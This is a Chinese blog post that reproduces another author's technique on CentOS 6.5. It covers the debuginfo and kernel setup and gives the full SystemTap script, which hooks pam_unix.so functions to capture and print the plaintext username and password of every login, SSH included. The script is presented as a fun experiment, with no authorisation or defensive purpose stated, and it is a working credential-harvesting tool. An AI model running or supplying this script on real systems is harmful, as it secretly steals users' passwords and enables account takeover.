本文章是来源于老徐的博客,原文链接为:http://laoxu.blog.51cto.com/4120547/1331878

无意之中看到老徐的这篇文章,小白觉得很好玩,就按照老徐的步骤及方法重新来了一遍。的确很强大,故又完全按照老徐的步骤在自己的机器上把玩一下,以记录之。


小白的测试环境:

操作系统:CentOS 6.5 64bit

内核版本:2.6.32-573.8.1.el6.x86_64


由于老徐的文章中,先使用“yum update”更新了系统的RPM包,我没有更新,遇到了问题。系统提示“mismatch (2.6.32-431.el6.x86_64  2.6.32-573.8.1.el6.x86_64)”。然后,检查了一下/lib/modules/目录下的文件,发现只有2.6.32-431.el6.x86_64。那就是缺少了2.6.32-573.8.1.el6.x86_64的内核包了,于是升级了系统的RPM包,问题解决之。


在老徐的文章中,又指出,要安装与pam_unix.so相关的debuginfo包,我没有进行安装,也是出了问题,故安装了相关的debuginfo的RPM包。“debuginfo-install $(rpm -qf /lib64/security/pam_unix.so)

1
2
3
4
5
6
7
8
9
10
# debuginfo-install $(rpm -qf /lib64/security/pam_unix.so)
# 这一步安装了与pam相关的调试包,主要安装了如下包:
#    audit-debuginfo       
#    cracklib-debuginfo    
#    db4-debuginfo         
#    glibc-debuginfo       
#    libselinux-debuginfo  
#    pam-debuginfo         
#    yum-plugin-auto-update-debug-info 
#    glibc-debuginfo-common


有了上面的基础工作,才可以进行下面的操作啊,有的网友也是使用了64位的操作系统,但是没有做成功,我觉得完全是个人的原因,出现了问题自己不去解决,只会寻求帮助。


下面是老徐的stap脚本,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[root@python unix] # cat capture_pass.tap 
#!/usr/bin/stap
global username, pass, isSuccRet = 1;
probe process( "/lib64/security/pam_unix.so" ). function ( "_unix_verify_password" )
{
     username = user_string($name);
     pass = user_string($p);
}
probe process( "/lib64/security/pam_unix.so" ). function ( "_unix_verify_password" ). return
{
     if  ($ return  == 0)
     {
         printf ( "User: %s\nPassword: %s\n\n" , username, pass);
         isSuccRet = 0;
     }
}
probe process( "/lib64/security/pam_unix.so" ). function ( "pam_sm_open_session" )
{
     if  (isSuccRet != 0)
     {
         printf ( "Login via ssh service.\n\User: %s\nPassword: %s\n\n" , username, pass);
     }
     isSuccRet = 1;
}

就把/lib/security/pam_unix.so改成了/lib64/security/pam_unix.so。


接下来就可以测试了。来看个图吧,步骤都写在图里了:

wKioL1ZlNt_y8THBAAHX3P6oKxQ180.png



运用的原理是:主要是对PAM模块pam_unix.so库文件的函数调用进行捕获,因为用户登录认证需要使用pam_unix.so库文件。